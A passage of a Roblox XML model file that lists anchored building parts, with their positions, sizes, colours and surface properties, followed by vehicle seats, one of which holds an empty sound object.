							<Y>2.60000014</Y>
							<Z>87</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1653">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>229.5</X>
							<Y>2.9000001</Y>
							<Z>91.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>5</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1654">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>221.5</X>
							<Y>2.9000001</Y>
							<Z>91.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>5</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1655">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>225.5</X>
							<Y>10.5</Y>
							<Z>99.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>5</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1656">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>226</X>
							<Y>1</Y>
							<Z>106</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>8</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1657">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>226</X>
							<Y>2.79999995</Y>
							<Z>106</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>2.4000001</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1658">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>225.5</X>
							<Y>7.5999999</Y>
							<Z>103</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>4.80000019</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1659">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>225.5</X>
							<Y>10.6000004</Y>
							<Z>106</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>8</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1660">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>220</X>
							<Y>4.5999999</Y>
							<Z>106</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>14</X>
							<Y>1.20000005</Y>
							<Z>8</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1661">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>225.5</X>
							<Y>7.5999999</Y>
							<Z>109</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>4.80000019</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1662">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>214</X>
							<Y>1</Y>
							<Z>106</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>8</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1663">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>214</X>
							<Y>2.79999995</Y>
							<Z>106</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>2.4000001</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX1664">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>225.5</X>
						<Y>10.5</Y>
						<Z>112.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">0</token>
					<Vector3 name="size">
						<X>5</X>
						<Y>5</Y>
						<Z>5</Z>
					</Vector3>
				</Properties>
			</Item>
		</Item>
		<Item class="VehicleSeat" referent="RBX1665">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">199</int>
				<CoordinateFrame name="CFrame">
					<X>231</X>
					<Y>3.30000019</Y>
					<Z>247</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<bool name="HeadsUpDisplay">true</bool>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<float name="MaxSpeed">22</float>
				<string name="Name">VehicleSeat</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="Steer">0</int>
				<int name="Throttle">0</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Torque">10</float>
				<float name="Transparency">0</float>
				<float name="TurnSpeed">1</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>1</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1666">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">9vssb36tj</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="VehicleSeat" referent="RBX1667">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">199</int>
				<CoordinateFrame name="CFrame">
					<X>236</X>
					<Y>3.30000019</Y>
					<Z>247</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
